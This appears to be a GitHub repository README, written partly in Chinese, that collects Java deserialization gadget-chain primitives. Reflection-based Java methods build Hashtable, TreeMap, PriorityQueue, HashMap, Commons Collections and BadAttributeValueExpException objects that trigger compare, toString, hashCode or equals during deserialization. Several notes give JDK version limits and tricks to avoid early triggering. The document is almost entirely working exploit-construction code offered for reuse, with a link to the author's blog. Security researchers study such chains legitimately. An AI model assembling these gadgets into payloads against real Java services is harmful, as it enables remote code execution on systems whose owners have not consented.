├── README.md └── java_gadget_flow.pdf /README.md: -------------------------------------------------------------------------------- 1 | # java_gadget_flow 2 | 一些总结出来的gadget的flow，后续合适和加入新的flow 3 | 4 | ### Hashtable->compare 5 | 6 | ```java 7 | public static Hashtable table2compare(Comparator o1, Object o2) throws Exception { 8 | TreeMap m1 = new TreeMap<>(o1); 9 | Utils. setFieldValue(m1, "size", 1); 10 | Utils.setFieldValue(m1, "modCount", 1); 11 | Class nodeC = Class.forName("java.util.TreeMap$Entry"); 12 | Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); 13 | nodeCons.setAccessible(true); 14 | Object node = nodeCons.newInstance(o2, 1, null); 15 | Utils.setFieldValue(m1, "root", node); 16 | 17 | TreeMap m2 = new TreeMap<>(o1); 18 | Utils.setFieldValue(m2, "size", 1); 19 | Utils.setFieldValue(m2, "modCount", 1); 20 | Utils.setFieldValue(m2, "root", node); 21 | Hashtable hashtable = new Hashtable(); 22 | Utils.setFieldValue(hashtable,"count",2); 23 | Class nodeD; 24 | nodeD = Class.forName("java.util.Hashtable$Entry"); 25 | 26 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 27 | nodeDons.setAccessible(true); 28 | Object tbl = Array.newInstance(nodeD, 2); 29 | Array.set(tbl, 0, nodeDons.newInstance(0, m1, "Unam4", null)); 30 | Array.set(tbl, 1, nodeDons.newInstance(0, m2, "Springkill", null)); 31 | Utils.setFieldValue(hashtable, "table", tbl); 32 | return hashtable; 33 | } 34 | ``` 35 | 36 | 37 | 38 | ### annotationhander ->compare. (<=8U70,不能用来触发cb,methodname不可控) 39 | 40 | ```java 41 | public static Object annotationhander2compare(Map o) throws Exception { 42 | Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 43 | Constructor Anotationdeclared = 44 | AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); 45 | Anotationdeclared.setAccessible(true); 46 | InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, o); 47 | Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]{Map.class}, h); 48 | Object o1 =Anotationdeclared.newInstance(Override.class, Mapproxy); 49 | return o1; 50 | } 51 | ``` 52 | 53 | 54 | ### annotationhander ->tostring (<=8U70,) 55 | 56 | ```java 57 | public static Object annotationhander2compare(Object o) throws Exception { 58 | HashMap map1 = new HashMap<>(); 59 | map1.put("value",o); 60 | Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 61 | Constructor Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); 62 | Anotationdeclared.setAccessible(true); 63 | InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1); 64 | return h; 65 | } 66 | ``` 67 | 68 | 69 | 70 | ### treebag—>compare 71 | 72 | ```java 73 | //cc 依赖 74 | public static TreeBag treebag2compare(Comparator o, Object o2) throws Exception { 75 | TreeBag treeBag = new TreeBag(); 76 | TreeMap m = new TreeMap<>(); 77 | Object num = Utils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger"); 78 | Utils.setFieldValue(m, "comparator", o); 79 | Utils.setFieldValue(m, "size", 1); 80 | Utils.setFieldValue(m, "modCount", 1); 81 | Class nodeC = Class.forName("java.util.TreeMap$Entry"); 82 | Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); 83 | nodeCons.setAccessible(true); 84 | Object node = nodeCons.newInstance(o2, num, null); 85 | // Object right = nodeCons.newInstance(o2, new Object[0], node); 86 | // setFieldValue(node, "right", right); 87 | Utils.setFieldValue(m, "root", node); 88 | Utils.setFieldValue(treeBag,"map",m); 89 | return treeBag; 90 | } 91 | ``` 92 | 93 | ### EventListenerList -》tostring 94 | 95 | ``` 96 | public static EventListenerList eventtostring(Object o) throws Exception{ 97 | Reflections(utils.class); 98 | EventListenerList list = new EventListenerList(); 99 | UndoManager manager = new UndoManager(); 100 | Vector vector = (Vector) getFieldValue(manager, "edits"); 101 | vector.add(o); 102 | setFieldValue(list, "listenerList", new Object[] { Map.class, manager }); 103 | return list; 104 | } 105 | ``` 106 | 107 | 108 | ### concurrentmap->compare 109 | 110 | ```java 111 | public static ConcurrentHashMap concurrentmap2compare(Comparator o1, Object o2) throws Exception { 112 | //避免put触发 113 | TreeMap m = new TreeMap<>(o1); 114 | Utils.setFieldValue(m, "size", 1); 115 | Utils.setFieldValue(m, "modCount", 1); 116 | Class nodeD = Class.forName("java.util.TreeMap$Entry"); 117 | Constructor nodeDons = nodeD.getDeclaredConstructor(Object.class, Object.class, nodeD); 118 | nodeDons.setAccessible(true); 119 | Object node = nodeDons.newInstance(o2, 1, null); 120 | Utils.setFieldValue(m, "root", node); 121 | 122 | TreeMap m2 = new TreeMap<>(o1); 123 | Utils.setFieldValue(m2, "size", 1); 124 | Utils.setFieldValue(m2, "modCount", 1); 125 | Utils.setFieldValue(m2, "root", node); 126 | ConcurrentHashMap s = new ConcurrentHashMap<>(); 127 | Utils.setFieldValue(s, "sizeCtl", 2); 128 | Class nodeB; 129 | try { 130 | nodeB = Class.forName("java.util.concurrent.ConcurrentHashMap$Node"); 131 | } catch (ClassNotFoundException e) { 132 | nodeB = Class.forName("java.util.concurrent.HashMap$Node"); 133 | } 134 | Constructor nodeBons = nodeB.getDeclaredConstructor(int.class, Object.class, Object.class, nodeB); 135 | nodeBons.setAccessible(true); 136 | Object tbl = Array.newInstance(nodeB, 2); 137 | Array.set(tbl, 0, nodeBons.newInstance(0, m, "unam4", null)); 138 | Array.set(tbl, 1, nodeBons.newInstance(0, m2, "springkill", null)); 139 | Utils.setFieldValue(s, "table", tbl); 140 | return s; 141 | } 142 | 143 | ``` 144 | 145 | 146 | 147 | ### PriorityQueue->compare 148 | 149 | ```java 150 | public static PriorityQueue priorityqueue2compare(Comparator o1, Object o2) throws Exception { 151 | PriorityQueue queue = new PriorityQueue(1); 152 | Utils.setFieldValue(queue, "size", 2); 153 | Utils.setFieldValue(queue, "comparator", o1); 154 | Utils.setFieldValue(queue, "queue", new Object[]{o2,1}); 155 | return queue; 156 | } 157 | ``` 158 | 159 | 160 | 161 | 162 | 163 | ### dualTreeBidiMap->compare 164 | 165 | ```java 166 | public static DualTreeBidiMap dualTreeBidiMap2compare(Comparator o1, Object o2) throws Exception { 167 | DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(); 168 | Map[] mapArray = new HashMap[1]; 169 | mapArray[0] = new HashMap(); 170 | //避免put时触发hashcode问题 171 | Class nodeD; 172 | try { 173 | nodeD = Class.forName("java.util.HashMap$Node"); 174 | } catch (ClassNotFoundException e) { 175 | nodeD = Class.forName("java.util.HashMap$Entry"); 176 | } 177 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 178 | nodeDons.setAccessible(true); 179 | Object tbl = Array.newInstance(nodeD, 1); 180 | Array.set(tbl, 0, nodeDons.newInstance(0, o2, o2, null)); 181 | Utils.setFieldValue( mapArray[0], "size", 1); 182 | Utils.setFieldValue(mapArray[0], "table", tbl); 183 | Utils.setFieldValue(dualTreeBidiMap, "comparator", o1); 184 | Utils.setFieldValue(dualTreeBidiMap, "maps", mapArray); 185 | return dualTreeBidiMap; 186 | } 187 | ``` 188 | 189 | 190 | 191 | 192 | 193 | ### hashed->hashcode 194 | 195 | ```java 196 | public static Map hashedMap2hashcode (Object o) throws Exception { 197 | //避免new的时候直接触发 198 | Map s= (Map) Utils.createWithoutConstructor("org.apache.commons.collections.map.HashedMap"); 199 | Class nodeB; 200 | nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry"); 201 | 202 | Constructor nodeCons = nodeB.getDeclaredConstructor(nodeB,int.class, Object.class, Object.class); 203 | nodeCons.setAccessible(true); 204 | Object tbl = Array.newInstance(nodeB, 1); 205 | Array.set(tbl, 0, nodeCons.newInstance(null,0, o, o)); 206 | Utils.setFieldValue(s, "data", tbl); 207 | Utils.setFieldValue(s, "size", 1); 208 | return s; 209 | } 210 | ``` 211 | 212 | 213 | 214 | 215 | 216 | ### CaseInsensitiveMap->tostring 217 | 218 | 本来想藏一藏(但是有大哥已经写在工具里了)，算了公开了 219 | 220 | ```java 221 | public static Map caseInsensitiveMap2string (Object o) throws Exception { 222 | Map s= (Map) Utils.createWithoutConstructor("org.apache.commons.collections.map.CaseInsensitiveMap"); 223 | Class nodeB; 224 | nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry"); 225 | 226 | Constructor nodeCons = nodeB.getDeclaredConstructor(nodeB,int.class, Object.class, Object.class); 227 | nodeCons.setAccessible(true); 228 | Object tbl = Array.newInstance(nodeB, 1); 229 | Array.set(tbl, 0, nodeCons.newInstance(null,0, o, o)); 230 | Utils.setFieldValue(s, "data", tbl); 231 | Utils.setFieldValue(s, "size", 1); 232 | return s; 233 | } 234 | ``` 235 | 236 | 237 | 238 | ### dualHashBidiMap->hashcode 239 | 240 | ```java 241 | public static DualHashBidiMap dualHashBidiMap2hashcode(Object o) throws Exception{ 242 | DualHashBidiMap dualHashBidiMap = new DualHashBidiMap(); 243 | Map[] mapArray = new HashMap[1]; 244 | mapArray[0] = new HashMap(); 245 | //避免put时触发hashcode问题 246 | Class nodeD; 247 | try { 248 | nodeD = Class.forName("java.util.HashMap$Node"); 249 | } catch (ClassNotFoundException e) { 250 | nodeD = Class.forName("java.util.HashMap$Entry"); 251 | } 252 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 253 | nodeDons.setAccessible(true); 254 | Object tbl = Array.newInstance(nodeD, 1); 255 | Array.set(tbl, 0, nodeDons.newInstance(0, o, "unam4", null)); 256 | Utils.setFieldValue( mapArray[0], "size", 1); 257 | Utils.setFieldValue(mapArray[0], "table", tbl); 258 | Utils.setFieldValue(dualHashBidiMap, "maps", mapArray); 259 | return dualHashBidiMap; 260 | } 261 | ``` 262 | 263 | 264 | 265 | 266 | 267 | ### hashmap->equals 268 | 269 | ```java 270 | public static HashMap map2equals(Object o, Object o2) throws Exception { 271 | HashMap s = new HashMap<>(); 272 | Utils.setFieldValue(s, "size", 2); 273 | Class nodeD; 274 | try { 275 | nodeD = Class.forName("java.util.HashMap$Node"); 276 | } catch (ClassNotFoundException e) { 277 | nodeD = Class.forName("java.util.HashMap$Entry"); 278 | } 279 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 280 | nodeDons.setAccessible(true); 281 | Object tbl = Array.newInstance(nodeD, 2); 282 | Array.set(tbl, 0, nodeDons.newInstance(0, o, "key1", null)); 283 | Array.set(tbl, 1, nodeDons.newInstance(0, o2, "key2", null)); 284 | Utils.setFieldValue(s, "table", tbl); 285 | return s; 286 | } 287 | ``` 288 | 289 | 290 | 291 | ### hashmap->compare 292 | 293 | ```java 294 | public static HashMap map2compare(Comparator o1, Object o2) throws Exception { 295 | TreeMap m1 = new TreeMap<>(o1); 296 | Utils. setFieldValue(m1, "size", 1); 297 | Utils.setFieldValue(m1, "modCount", 1); 298 | Class nodeC = Class.forName("java.util.TreeMap$Entry"); 299 | Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); 300 | nodeCons.setAccessible(true); 301 | Object node = nodeCons.newInstance(o2, 1, null); 302 | Utils.setFieldValue(m1, "root", node); 303 | 304 | TreeMap m2 = new TreeMap<>(o1); 305 | Utils.setFieldValue(m2, "size", 1); 306 | Utils.setFieldValue(m2, "modCount", 1); 307 | Utils.setFieldValue(m2, "root", node); 308 | HashMap s = new HashMap<>(); 309 | Utils.setFieldValue(s, "size", 2); 310 | Class nodeD; 311 | try { 312 | nodeD = Class.forName("java.util.HashMap$Node"); 313 | } catch (ClassNotFoundException e) { 314 | nodeD = Class.forName("java.util.HashMap$Entry"); 315 | } 316 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 317 | nodeDons.setAccessible(true); 318 | Object tbl = Array.newInstance(nodeD, 2); 319 | Array.set(tbl, 0, nodeDons.newInstance(0, m1, "key1", null)); 320 | Array.set(tbl, 1, nodeDons.newInstance(0, m2, "key2", null)); 321 | Utils.setFieldValue(s, "table", tbl); 322 | return s; 323 | } 324 | ``` 325 | 326 | 327 | 328 | 329 | 330 | ### hashtable->tostring 331 | 332 | ```java 333 | public static Hashtable table2tostring(Object o) throws Exception{ 334 | Class node = Class.forName("java.util.HashMap$Node"); 335 | Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); 336 | constructor.setAccessible(true); 337 | // 避免put时，触发hashcode。 338 | Map tHashMap1 = (Map) Utils.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); 339 | Map tHashMap2 = (Map) Utils.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); 340 | Object tnode1 = constructor.newInstance(0, o,null, null); 341 | Utils.setFieldValue(tHashMap1, "size", 2); 342 | Object tarr = Array.newInstance(node, 2); 343 | Array.set(tarr, 0, tnode1); 344 | Array.set(tarr, 1, tnode1); 345 | Utils.setFieldValue(tHashMap1, "table", tarr); 346 | Object tnode2 = constructor.newInstance(0, o, null, null); 347 | Utils.setFieldValue(tHashMap2, "size", 2); 348 | Object tarr2 = Array.newInstance(node, 2); 349 | Array.set(tarr2, 0, tnode2); 350 | Array.set(tarr2, 1, tnode2); 351 | Utils.setFieldValue(tHashMap2, "table", tarr2); 352 | Utils.setFieldValue(tHashMap1,"loadFactor",1); 353 | Utils.setFieldValue(tHashMap2,"loadFactor",1); 354 | 355 | // 避免put时触发hashcode 356 | Hashtable hashtable = new Hashtable(); 357 | Utils.setFieldValue(hashtable,"count",2); 358 | Class nodeE; 359 | nodeE = Class.forName("java.util.Hashtable$Entry"); 360 | 361 | Constructor nodeEons = nodeE.getDeclaredConstructor(int.class, Object.class, Object.class, nodeE); 362 | nodeEons.setAccessible(true); 363 | Object tbl = Array.newInstance(nodeE, 2); 364 | Array.set(tbl, 0, nodeEons.newInstance(0, tHashMap1, "Unam4", null)); 365 | Array.set(tbl, 1, nodeEons.newInstance(0, tHashMap2, "Springkill", null)); 366 | Utils.setFieldValue(hashtable, "table", tbl); 367 | // hashtable.put(tHashMap1,"Unam4"); 368 | // hashtable.put(tHashMap2,"SpringKill"); 369 | // tHashMap1.put(o, null); 370 | // tHashMap2.put(o, null); 371 | return hashtable; 372 | } 373 | ``` 374 | 375 | 376 | 377 | 378 | 379 | ### hashmap->tostring 380 | 381 | ```java 382 | public static HashMap map2tostring(Object o1, Object o2) throws Exception{ 383 | //避免put时触发hashcode 384 | Class node = Class.forName("java.util.HashMap$Node"); 385 | Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); 386 | constructor.setAccessible(true); 387 | Map tHashMap1 = (Map) Utils.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); 388 | Map tHashMap2 = (Map) Utils.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); 389 | Object tnode1 = constructor.newInstance(0, o1,null, null); 390 | Utils.setFieldValue(tHashMap1, "size", 1); 391 | Object tarr = Array.newInstance(node, 1); 392 | Array.set(tarr, 0, tnode1); 393 | Utils.setFieldValue(tHashMap1, "table", tarr); 394 | Object tnode2 = constructor.newInstance(0, o2, null, null); 395 | Utils.setFieldValue(tHashMap2, "size", 1); 396 | Object tarr2 = Array.newInstance(node, 1); 397 | Array.set(tarr2, 0, tnode2); 398 | Utils.setFieldValue(tHashMap2, "table", tarr2); 399 | Utils.setFieldValue(tHashMap1,"loadFactor",1); 400 | Utils.setFieldValue(tHashMap2,"loadFactor",1); 401 | 402 | HashMap hashMap = new HashMap(); 403 | Object node1 = constructor.newInstance(0, tHashMap1, null, null); 404 | Object node2 = constructor.newInstance(0, tHashMap2, null, null); 405 | Utils.setFieldValue(hashMap, "size", 2); 406 | Object arr = Array.newInstance(node, 2); 407 | Array.set(arr, 0, node1); 408 | Array.set(arr, 1, node2); 409 | Utils.setFieldValue(hashMap, "table", arr); 410 | return hashMap; 411 | } 412 | ``` 413 | 414 | 415 | 416 | 417 | 418 | ### hashtable->equals 419 | 420 | ```java 421 | public static Hashtable table2equals(Object o, Object o2) throws Exception{ 422 | 423 | Hashtable hashtable = new Hashtable(); 424 | Utils.setFieldValue(hashtable,"count",2); 425 | Class nodeD; 426 | nodeD = Class.forName("java.util.Hashtable$Entry"); 427 | 428 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 429 | nodeDons.setAccessible(true); 430 | Object tbl = Array.newInstance(nodeD, 2); 431 | Array.set(tbl, 0, nodeDons.newInstance(0, o, "Unam4", null)); 432 | Array.set(tbl, 1, nodeDons.newInstance(0, o2, "Springkill", null)); 433 | Utils.setFieldValue(hashtable, "table", tbl); 434 | return hashtable; 435 | } 436 | ``` 437 | 438 | 439 | 440 | ### concurrentmap->equals 441 | 442 | ```java 443 | public static ConcurrentHashMap concurrentmap2equals(Object o, Object o2) throws Exception { 444 | ConcurrentHashMap s = new ConcurrentHashMap<>(); 445 | Utils.setFieldValue(s, "sizeCtl", 2); 446 | Class nodeD; 447 | try { 448 | nodeD = Class.forName("java.util.concurrent.ConcurrentHashMap$Node"); 449 | } catch (ClassNotFoundException e) { 450 | nodeD = Class.forName("java.util.concurrent.ConcurrentHashMap$Node"); 451 | } 452 | Constructor nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); 453 | nodeDons.setAccessible(true); 454 | Object tbl = Array.newInstance(nodeD, 2); 455 | Array.set(tbl, 0, nodeDons.newInstance(0, o, "zZ", null)); 456 | Array.set(tbl, 1, nodeDons.newInstance(0, o2, "yy", null)); 457 | Utils.setFieldValue(s, "table", tbl); 458 | return s; 459 | } 460 | ``` 461 | 462 | 463 | 464 | ### HotSwappable->tostring 465 | 466 | ```java 467 | public static HashMap HotSwappabletostring(Object o1)throws Exception{ 468 | Object xstring; 469 | HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(o1); 470 | //三个xstring都行，看谁顺眼用那个 471 | xstring = Utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB"); 472 | Utils.setFieldValue(xstring, "m_obj", "1"); 473 | xstring = Utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForChars"); 474 | Utils.setFieldValue(xstring, "m_obj", new char[5]); 475 | xstring = new XString(null); 476 | HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(xstring); 477 | HashMap val = map2equals(hotSwappableTargetSource1, hotSwappableTargetSource2); 478 | return val; 479 | } 480 | ``` 481 | 482 | 483 | 484 | 485 | 486 | ### badattribute->tostring 487 | 488 | ```java 489 | public static BadAttributeValueExpException badattribute2tostring(Object o1)throws Exception{ 490 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap<>()); 491 | Utils.setFieldValue(badAttributeValueExpException,"val",o1); 492 | return badAttributeValueExpException; 493 | } 494 | ``` 495 | 496 | 497 | 498 | 499 | 500 | ### flat3Map->hashcode 501 | 502 | ```java 503 | public static Map flat3Map2hashcode(Object o1)throws Exception{ 504 | Map s= (Map) new Flat3Map(); 505 | //避免构造函数触发 506 | Class nodeB; 507 | nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry"); 508 | HashedMap hashedMap = new HashedMap(); 509 | Constructor nodeCons = nodeB.getDeclaredConstructor(nodeB,int.class, Object.class, Object.class); 510 | nodeCons.setAccessible(true); 511 | Object tbl = Array.newInstance(nodeB, 1); 512 | Array.set(tbl, 0, nodeCons.newInstance(null,0, o1, o1)); 513 | Utils.setFieldValue(hashedMap, "data", tbl); 514 | Utils.setFieldValue(hashedMap, "size", 1); 515 | Utils.setFieldValue(s,"delegateMap",hashedMap); 516 | return s; 517 | } 518 | ``` 519 | 520 | 521 | 522 | 523 | 524 | ### HotSwappable->compare 525 | 526 | ```java 527 | public static Hashtable HotSwappable2compare(Comparator o, Object o2)throws Exception{ 528 | TreeMap m1 = new TreeMap<>(o); 529 | Utils.setFieldValue(m1, "size", 1); 530 | Utils.setFieldValue(m1, "modCount", 1); 531 | Class nodeC = Class.forName("java.util.TreeMap$Entry"); 532 | Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); 533 | nodeCons.setAccessible(true); 534 | Object node = nodeCons.newInstance(o2, 1, null); 535 | Utils.setFieldValue(m1, "root", node); 536 | 537 | TreeMap m2 = new TreeMap<>(o); 538 | Utils.setFieldValue(m2, "size", 1); 539 | Utils.setFieldValue(m2, "modCount", 1); 540 | Utils.setFieldValue(m2, "root", node); 541 | HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(m1); 542 | HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(m2); 543 | Hashtable hashtable = table2equals(hotSwappableTargetSource1, hotSwappableTargetSource2); 544 | return hashtable; 545 | } 546 | ``` 547 | 548 | ### css->hashcode 549 | 550 | ```java 551 | public static void Css2hasocde(Object obj) throws Exception { 552 | CSS css = new CSS(); 553 | Hashtable hashtable = new Hashtable(); 554 | hashtable.put("",obj); 555 | utils.setFieldValue(css, "valueConvertor", hashtable); 556 | utils.setFieldValue(css, "baseFontSize", 1); 557 | } 558 | ``` 559 | 560 | 561 | 562 | 563 | 564 | 565 | ## 原文链接 566 | https://unam4.github.io/2024/08/23/java%E5%8F%8D%E5%BA%8F%E5%88%97%E4%BA%8C%E5%91%A8%E7%9B%AE-%E4%B8%80/ 567 | -------------------------------------------------------------------------------- /java_gadget_flow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unam4/java_gadget_flow/315fa8ad62bf49bef5818f0b38f9c7ce72d97077/java_gadget_flow.pdf --------------------------------------------------------------------------------